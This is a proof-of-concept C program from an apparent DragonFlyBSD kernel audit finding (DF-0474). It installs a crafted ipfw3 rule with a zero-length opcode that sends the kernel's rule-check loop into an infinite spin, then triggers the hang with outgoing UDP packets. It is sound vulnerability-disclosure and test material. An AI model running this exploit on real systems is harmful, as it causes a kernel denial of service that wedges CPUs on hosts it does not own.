DragonFlyBSD Kernel Audit
DF-0474 / df0474_loop.c
← back to finding ↓ download raw
/*
 * DF-0474 - ipfw3 zero-length opcode infinite loop (UDP-specific trigger)
 *
 * Bug: sys/net/ipfw3/ip_fw3.c:493-495 (ip_fw3_chk inner opcode loop)
 *      sys/net/ipfw3/ip_fw3.c:201-204 (ip_fw3_unregister_module loop)
 *
 *   for (l = f->cmd_len, cmd = f->cmd; l > 0;
 *        l -= cmdlen,
 *        cmd = (ipfw_insn *)((uint32_t *)cmd + cmdlen)) {
 *       cmdlen = F_LEN(cmd);            // cmd->len & 0x3f
 *       ...
 *   }
 *
 * If cmd->len low-6-bits are 0 (e.g. 0x80 = F_NOT|0), cmdlen=0 and the
 * loop never advances. A non-terminating filter (one that returns
 * IP_FW_CTL_NO) keeps the loop spinning on the same cmd, wedging the
 * calling thread/CPU.
 *
 * This PoC installs a rule that matches ONLY outgoing UDP (proto 17),
 * so the SSH TCP session is unaffected and can report the hang.
 *
 * Rule structure:
 *   cmd[0] = check_proto(UDP)    [len=2, module=0, opcode=O_BASIC_PROTO=10]
 *   cmd[1] = check_in F_NOT      [len=0x80, module=0, opcode=O_BASIC_IN=5]
 *
 * For an outgoing UDP packet:
 *   - check_proto(17): f_id.proto==17 -> cmd_val=1. No F_NOT. Match -> continue.
 *   - check_in F_NOT : oif!=NULL -> cmd_val=0. F_NOT -> cmd_val=1. Match.
 *                      cmd += F_LEN(0x80)=0 -> same cmd -> INFINITE LOOP.
 *
 * For an outgoing TCP packet (SSH):
 *   - check_proto(17): f_id.proto==6 -> cmd_val=0. No F_NOT. No match ->
 *                      goto next_rule. SSH unaffected.
 *
 * Build:  cc -o df0474_loop df0474_loop.c
 * Run:    ./df0474_loop [dst_ip]
 *         default dst_ip = 10.0.2.15 (guest vtnet0; goes through PFIL_OUT)
 *
 * Expected (bug present): sendto() hangs; the run.sh timeout kills it;
 *   guest is otherwise responsive (SSH TCP unaffected).
 * Expected (fixed): rule install rejected OR sendto returns.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define IP_FW_X    49
#define IP_FW_ADD  50
#define F_NOT      0x80
#define F_LEN_MASK 0x3f

struct ipfw_insn {
    uint8_t  opcode;
    uint8_t  len;
    uint16_t arg1;
    uint8_t  module;
    uint8_t  arg3;
    uint16_t arg2;
} __attribute__((packed));

struct ip_fw_x_header {
    uint16_t opcode;
    uint16_t _pad;
} __attribute__((packed));

#define O_BASIC_PROTO   10  /* sys/net/ipfw3_basic/ip_fw3_basic.h:53 */
#define O_BASIC_IN       5  /* :47 */
#define MODULE_BASIC_ID  0
#define IPPROTO_UDP_LOCAL 17

struct ipfw_ioc_rule {
    uint16_t act_ofs;
    uint16_t cmd_len;
    uint16_t rulenum;
    uint8_t  set;
    uint8_t  insert;
    uint32_t sets;
    uint64_t pcnt;
    uint64_t bcnt;
    uint32_t timestamp;
    struct ipfw_insn cmd[16];
} __attribute__((packed));

struct fw_x_msg {
    struct ip_fw_x_header hdr;
    struct ipfw_ioc_rule rule;
} __attribute__((packed));

int main(int argc, char **argv) {
    int s, u, rc, i;
    struct sockaddr_in dst;
    struct fw_x_msg m;
    const char *dst_ip = (argc > 1) ? argv[1] : "10.0.2.15";

    printf("DF-0474: ipfw3 zero-length opcode infinite loop (UDP-only rule)\n");
    printf("Bug: ip_fw3.c:493-495 (chk), :201-204 (unregister)\n\n");

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) { perror("socket RAW"); return 2; }

    /* Build the UDP-specific buggy rule:
       cmd[0] = check_proto(UDP), cmd[1] = check_in F_NOT (zero-length) */
    memset(&m, 0, sizeof(m));
    m.hdr.opcode   = IP_FW_ADD;
    m.rule.act_ofs = 4;             /* past cmd array; unused for this trigger */
    m.rule.cmd_len = 4;             /* 2 insns * 2 words each = 4 uint32_t */
    m.rule.rulenum = 100;
    m.rule.set     = 0;
    m.rule.insert  = 0;

    /* cmd[0]: proto filter */
    m.rule.cmd[0].opcode = O_BASIC_PROTO;
    m.rule.cmd[0].len    = 2;       /* LEN_OF_IPFWINSN */
    m.rule.cmd[0].module = MODULE_BASIC_ID;
    m.rule.cmd[0].arg1   = IPPROTO_UDP_LOCAL;

    /* cmd[1]: buggy zero-length check_in F_NOT */
    m.rule.cmd[1].opcode = O_BASIC_IN;
    m.rule.cmd[1].len    = F_NOT;   /* 0x80: F_LEN=0 -> the bug */
    m.rule.cmd[1].module = MODULE_BASIC_ID;

    if (setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m)) < 0) {
        fprintf(stderr, "setsockopt IP_FW_ADD: %s\n", strerror(errno));
        return 2;
    }
    printf("[+] installed UDP-only buggy rule 100\n");
    printf("    cmd[0]: proto(UDP) len=2\n");
    printf("    cmd[1]: check_in len=0x%02x (F_LEN=%u) <-- ZERO LENGTH\n",
           F_NOT, F_NOT & F_LEN_MASK);
    printf("[*] SSH (TCP) is unaffected; only outgoing UDP will hang.\n\n");

    printf("[*] sending 3 UDP packets to %s:9 (non-loopback -> PFIL_OUT)...\n", dst_ip);
    printf("[*] if bug present, the sendto calls hang in ip_fw3_chk.\n");
    fflush(stdout);

    u = socket(AF_INET, SOCK_DGRAM, 0);
    if (u < 0) { perror("socket UDP"); close(s); return 2; }
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_port   = htons(9);
    inet_aton(dst_ip, &dst.sin_addr);

    for (i = 0; i < 3; i++) {
        printf("[*] sendto[%d]...\n", i);
        fflush(stdout);
        rc = sendto(u, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst));
        printf("[!] sendto[%d] rc=%d", i, rc);
        if (rc < 0) printf(" errno=%d(%s)", errno, strerror(errno));
        printf("\n");
        fflush(stdout);
    }
    close(u);
    close(s);
    return 0;
}